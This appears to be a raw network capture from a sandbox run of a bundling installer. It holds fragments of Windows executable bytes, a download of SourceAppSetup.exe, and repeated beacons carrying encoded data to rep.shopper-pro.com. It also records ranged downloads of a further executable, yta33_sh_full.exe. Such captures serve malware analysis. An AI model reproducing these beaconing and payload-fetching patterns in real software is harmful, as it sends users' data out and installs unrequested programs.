Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pdN-Olzp1PhfMmzeC34PfJa9dExO4q3mZBpLthV6ZX7gY6S_LAnAdA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
...............j....I..c....M..h..I...B..Y......j....I..B....M..h..I..
.B..Y......j..B.I..!....M..h..I..bB..Y......j..g.I.......M..h..I..AB..
Y......j....I.......M..h#.I.. B..Y......hH.J..X.M..e...hG.I...B..Y.h..
J..p.M..J...hk.I...A..Y.j..8lI.......R......M..M..h..I...A..Y.8....j..
..I..]....'....e......M..QK..M..h..I...A..Y......j..F.I..).......M..XK
..E...M..E.....h.XK...<.I..%..M...%..M.....M..M..h..I..4A..Y......Q
.. ..h&.I...A..Y.j....I.........M..9...3..u.VV.E...M..5..M..5..M......
...M..E..Q...M...%[email protected]
[email protected][email protected]@..Y^[email protected]
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 583168
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F..tBj\V. ?
[email protected]...|p@[email protected]:.u.9].t.j....
..Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j....
[email protected]][email protected]
.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9].....
..h. [email protected]. [email protected]..
[email protected].~B....h.0G.V.qB..P.^=..
P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#...
<<< skipped >>>


GET /app/ping.ashx?e=XOxRKBm2zlySwLUjiBbolSmVSxD0vRfV62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8HQFBy4rxvvTaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNCroy0Ie/1h5Kau9xWXQx// HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkV7SdHJrX/JIX1hI/1kZRGu1 OqyRyPS0kJhjawCStaVU7EgL6BH0hNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt7NHG0YYrMVZOLmf6eHphUt9 inPTLZDtg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KmnK2HrDI4J0iwzkJClsSqSLrnIka7 Qz3BR6s2Rhdr5wZou24V faqQgEgmISdwJHaEQI9rLka6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1PwtwNnOLIZKbA4NV4RhU9Lz38Km4JMgAXQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/IQqQvvNc0/QxFrMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGNtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBuCJHFnO09bqpFYl/7xBfYArlpNKKdx85zJU47iDwkO0G WOt5R1Kiyjca/6c/zCZgGUqUYly4OA= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=obiBp3WOda875Lloa5mq/1rMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMmTADg95nKug8SfsOq8sVv HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 03:58:11 GMT..Content-Length: 0..



GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=517979
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 03:59:22 GMT
Etag: "54dea2ef-1d7"
Expires: Fri, 20 Feb 2015 15:59:22 GMT
Last-Modified: Sat, 14 Feb 2015 01:20:47 GMT
Server: ECS (frf/87E3)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015021
3200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
......R...C...0T...@..@0.$)O.'.. ..a.O..3.5...~N...."...j^RE.x..n;z.e.
b..N.....G....t.:.uV..W....8...'RB.f...OV.U;HU..>...q..,.)..;..&...
..m.\H.Q .L...........G...u<.KB%yd..s.n.........VB.;..6...#.....C.!
O....ZZ..k..T.;...A.U.U..W...u......=..#. ....Os..m.iD.*.HTTP/1.1 200 
OK..Accept-Ranges: bytes..Cache-Control: max-age=517979..Content-Type:
 application/ocsp-response..Date: Sat, 14 Feb 2015 03:59:22 GMT..Etag:
 "54dea2ef-1d7"..Expires: Fri, 20 Feb 2015 15:59:22 GMT..Last-Modified
: Sat, 14 Feb 2015 01:20:47 GMT..Server: ECS (frf/87E3)..X-Cache: HIT.
.Content-Length: 471..0..........0..... .....0......0...0........P5V.L
.f........=.U..20150213200000Z0s0q0I0... .........Q..2...}Q......b.U..
...P5V.L.f........=.U...........z....@7....20150213200000Z....20150220
200000Z0...*.H..............R...C...0T...@..@0.$)O.'.. ..a.O..3.5...~N
...."...j^RE.x..n;z.e.b..N.....G....t.:.uV..W....8...'RB.f...OV.U;HU..
>...q..,.)..;..&.....m.\H.Q .L...........G...u<.KB%yd..s.n......
...VB.;..6...#.....C.!O....ZZ..k..T.;...A.U.U..W...u......=..#. ....Os
..m.iD.*.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=507631
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 03:59:22 GMT
Etag: "54de7a86-1d7"
Expires: Fri, 20 Feb 2015 15:59:22 GMT
Last-Modified: Fri, 13 Feb 2015 22:28:22 GMT
Server: ECS (frf/87A8)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
3221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150213221300Z....20150220222800Z0...*.H........
.....-.,..l..m.X.rj.^..L'....M8.r[..h..I..hC...~.\.F.Q~A..g.........g}
3.=^...;]j;.x!..7^.h.........TA.c..0.;...........f...~....$...22z..Uf.
.........W.......x$Q........\....s......v_.G.....l.M.....*4.....7....W
.)s.f..T...f../cQ..!...b..T~.~a..l.a$.t._^..^z.|w..HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=507631..Content-Type: appli
cation/ocsp-response..Date: Sat, 14 Feb 2015 03:59:22 GMT..Etag: "54de
7a86-1d7"..Expires: Fri, 20 Feb 2015 15:59:22 GMT..Last-Modified: Fri,
 13 Feb 2015 22:28:22 GMT..Server: ECS (frf/87A8)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0.......q.7.s.......
4. Z.....20150213221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.
s.......4. Z......M.q.......d...,....20150213221300Z....20150220222800
Z0...*.H.............-.,..l..m.X.rj.^..L'....M8.r[..h..I..hC...~.\.F.Q
~A..g.........g}3.=^...;]j;.x!..7^.h.........TA.c..0.;...........f...~
....$...22z..Uf..........W.......x$Q........\....s......v_.G.....l.M..
...*4.....7....W.)s.f..T...f../cQ..!...b..T~.~a..l.a$.t._^..^z.|w....
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 250000-499999/7592848
Age: 40393
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: toj28yK3Mxu6MN41k0Lo-C_HV8Sd853ksdwJ6kT3zPaT4LKZ_VqwNA==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......=.y...t..w..X...Ay....CD..Aq..0..Syz.SA...:.\;......l.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 750000-999999/7592848
Age: 40394
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: g_YjYqM4QVGcJmG3LLqLgxICExKnJ3ud-6Pkun5XCMiAyNfyirlerg==
..h......3.L......Y2..v...i(......_..-..3......!...C..(...2......Q....
..A.l...x.Gd.a...F...w...q....D.E.....vw.H....o....C...c`.A...!......f
...J...U.....Cs... ...v....j......n........L.....FQi..7j..#...Q....W..
-..m..<e*.<.%n.\..[....Y.k.......kyV#......;......o....M.....i.f
..BZU,..L.5_VGn~V.:.$.C..[......f.O...h.........w]..E.T..r.~..~...f..8
..?TO..4.[....;-).WH....M.....D4.......d..Dein.g.<.A#I........7....
[email protected][email protected]"q.\.. 6u.j.....!x.B3...8>
......"F..;.8%.9.......x[......d<....o.........".P...)............H
..|.....l.K2a....d....<zi@e;=...%AG..Qxg8..zL...o..........h....px$
..;Y........}XL.K.p.70...C...B. ..ep..."......A......=NQ7.1>m.V..|M
f.`<..?.......F........3..t.:.......A..F..).....H........=.... :].'
..0..z....CY......,.e..Nq...Xojn]3.../.....}q....a......x...0._. ....?
N,...x.*.di..>>Jy.u;..rU{X...wY.sn.-.x.....*H.{FP......'...w....
..g(.._.).......F...._......i.O.o....,..&lP..Nb...0:F.N.....x.....p...
.......=p4.I....8.....W0.Z.....}.......7\.bJ.t|....Zh....y;..W...G,...
.......C...t=oa....N..9.....)....._..~..........-4.e......O.......v(K.
.w..B....ucN9.P...Q.....\..`...P*.q...S...d.{7..12...0k...G.....'4...L
W.Xn_..l;*..v...$y......):.nf..i...F..g..u6.].M.n.............-N.*Fl2.
.[..n$..,{..:9_.'..Z...........=J.(..1.-....W^...].S......O3..........
..j.X..'|_..k... t}..d.V...Tl...v.G..7.@.'C.zt.qp...1b......gGW...X$..
......&>..r]..8..........2hR!.79x.....b..].....o.p..L....NA....g.l.
{..yM&.}...(1...V...}....I............F1....!T&.&c.-..4E-.#._.f.@.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1000000-1249999/7592848
Age: 40394
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: igNn5MyRIvoiVReZ9Hf273VX4xGnGdCTVWNV9QZeZRvdJ6sa3MKjzA==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;[email protected]._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`[email protected]!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..t..5. 3>. ....V.....U.*)..1.g
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1500000-1749999/7592848
Age: 40394
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: eAMt8GwSMmI-3NFA2m4rTDkFWH6GkVo1xPeqofJQLpYC0kk6tyYLzQ==
............Bi.)... ..2.E..*.6E.B...q..|5.[A>#...5^K.1.A..#@...c..0
T!.=.....v.,....<_.....5W.....r...r...I.U.9?..@[email protected]!.-CJ.Xp
../a.l#w.i.Zb'...1.......m.B.L....T.s........(l..T.>'^.6..{.m..RB.o
..h.-.W..e(fTmU.F.N5..zVxx.._v..?m......$..c9.......Y.......)-.9.O8...
.zIB...K..C|.(.......Pi.......:.X........C....2..I.l.....Q.uq...0.A...
G.n.r..@\(......X..F../w.:l-...B..>.Q)U|L5A.p8>..[P.M..z.X.y....
Mxt>j..5...m.y.P..,..=yTN:y.~.,<:.o..E..iw..%[.EN........A......
N...0HF|...`[email protected].".`.......RT..<q..P.L.H..HJ.8.m^*
.QS."!7r.Q......N..n<.........l^(F..*.Ya.U....w...[C..7%Xs.Z...>
.2vA...r".......ov...u;Q.Z}T=..d......a...r.....x.Y..`....g...nj..z...
...5=....._.............;.w.=c.,..B.....R.aJ6y<A.Y...(.....Y<;^.
...j...N._;cU..B....<\....&Z;../BI.F.gB..~fy..-.b"U..n.....r.v.....
.#.hY.<.c..8.4.....Of.8:.S.>..[.....C.A...-...j.._]B.R.U...p..-.
.M@_.s..v.\xh...eC....:.T]..g...-....;0....u.LrU......U..;.T.R.c.? E..
.C......,.O.l..sk}.$:......t.ly)-y./....,q...j..>...9..`.q....Ip...
2.#I:...K..G.3>Z....^.n.0...H...o.Hr.H.CkcE...o.H..b.~3....}B. ....
b.(.)..Rr....cM|W....[hA*[email protected]$....Ek.o.FxjJg...[.....C|3X
....vO.nP.'.p.].]d...=.m.........t..V.#.....L.Z......M.S.4...X...X...P
.7.....F..QG....2..oG...^[email protected]~v...:1.mQ.g.../
..q..c......>.n.{w..0.J.....4...ND.J..|......&....un?.iP.%.u..U.q.J
--S.....&-|..W.........7..(f...4..T.1h.v.>.......$.oR...N.1M..?..=p
..- ....&)S...>I..l....V.).CM.?.....c.}...8..':.\e.7W1.U>.m.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2250000-2499999/7592848
Age: 40394
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _F1u6IaGu6JCLH0ZCAiWH52U18T8abZBgKiSk3uXZYjnd4v5ePcdww==
.NR...RT.... ...n...e...T.....@..{.,C..../D^..h..g.].x..yIhI....$Hs...
..Zh......'}j..!)e.J....;S................w.....g.;hz.7....w.e.. ..u#.
._.....E..B.l..2...i.O.."....*..5.....}^....<(..n.....e.q....".P.A.
..x...<..c4h...v3M.6}0...Fjpj..H!......S.......u.L....R.b[.7..c/KU.
.L.?X.).;$EH.8.VS..z.......R_^'...2.L.]>..Y8.*.........gl....h.?..g
.ck[[email protected]\wEj....90`.M..uMB....0...v.Z7.l._......u....N..
.\.x..k:jw..k.z.....]...O..v.....W.I..2........ Z...?.?yJ.9.).........
.d. /.}.EdM......q......\.w.^a.~g.c]..PT...|..$....jVk`....`...../.9 .
..M9B.V#[email protected]...`.....H...gr......w..uB.....]^'..$Y
.B.........B.\ ..=p,C...Y....Y..P&......f.....(...%. .$......PH. .Y...
J..Q,RD.CV...U......l.b!aO..j....[.....}2/......g...S.........>g.sf
....:....;............s.....7..F.........`.]XI.X-..])]...v.i..VK..BL-.
.|r..g^....:...H.#"..@..,.1-.....`.0.dy.c...^..$.:D......7O.......s9.k
[email protected]}.B...Wd..(........){.c..%.....Z[.d.vu.h3...c.
..qA.}[email protected]...
Ay........Q...u.Y.9. -4.p..X...&..9q.k.H]..atd..4)l.....o...N...Y...gD
.n=_..... .r...U...~..*.9Z.J"...... Iv../.#....k2.e.v4t..gX../.."...5:
.(..W.~.=BG.....ia.".QW.?v....8..~....K......t..o....:m-.#.L.4..Mn.2.:
...F.#..n.....L.......N.5!"..%,..o'h...t4.%...;...!...t.q)~...~5..y..X
..k[.\,..D..i..6.z..=...5....n#....k..#...A...H.[..... ...u....p..#`..
......u..y>....e[...'.D...P......|..[.>..4..e...v.v.i..........&
lt;m(.`..9..bk...bt..!..p....."......l..]g\.......Y..CEtXs%..=....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2750000-2999999/7592848
Age: 40394
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: OsfbU-YQrRygwvEH_c70KTt1w84LbdrwmprZFCXfPGbArN2luHLemg==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Date: Thu, 31 Jul 2014
 09:37:58 GMT..Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT..ETag: "e1
f48aa094bffe3887d0ffec22eaae1f"..Accept-Ranges: bytes..Server: AmazonS
3..Content-Range: bytes 3000000-3249999/7592848..Age: 40394..X-Cache: 
Hit from cloudfront..Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfr
ont.net (CloudFront)..X-Amz-Cf-Id: 4dtaB3SUfx5ugV6N0u46BRO2Fstc-ipePOd
c0QQDHIW7NQqF7L1B6w==.."..k...L.,..n........mza...G.v~.(.M..C....Z..hi
....N*......d.....3.C.....Y\y'3...k].....o3.....,;...g....\......M..}.
..~x.....gT.5c.G....c.j.x...2.....ug.......kF...3.M.v....s...q....50..
_.M.F..R.n...../...\d~.....V0..l]}.[P...v)F....I...... l...."....m..G.
..X`o.......K....@T}w.....4-....../.|..7.....4m.....B...V..A.Q........
..q.2YW.5.....^k..Pt...YZ'..0r4i.m.J,.9.<<.i.....l.N;.]m...cX...
.Z...].97 ..X>.<.......D.#>............_...,....f.....u......
.!k....T...v..G..2...j.x.. .c........?3..0~...(........W...}?....2....
gL[..>ti0f.u.......D..[.X4.<8.O....0.$}..S.i..........qI.~...a.T
7\A.b%.tc..7.sk..K[g...A.-w......ae..W.u..V...44J.Z....7}o..9.....{.u;
:....4c...t.X..z.../..$y.89@Ss ...iQ.C.>L...q..hV.....M{...o...>
...t..o.iLtL.LiY..:6I.a. {.^[email protected]....<O.........l....&........
..f= A....".. 3w....emM....PZ.S~E.....(.*..."...B...y... . 7...d7d.A@.
w?.gA...) }..547...s.$...z...].....@"|2...7..U.....t..N.*.c...C..J....
)G3..l....{@.6s......D3[.jC.w.W.o...q_..a..#......?..M./.6....)GW.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Thu, 31 Jul 2014 09:37:58 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 4750000-4999999/7592848
Age: 40395
X-Cache: Hit from cloudfront
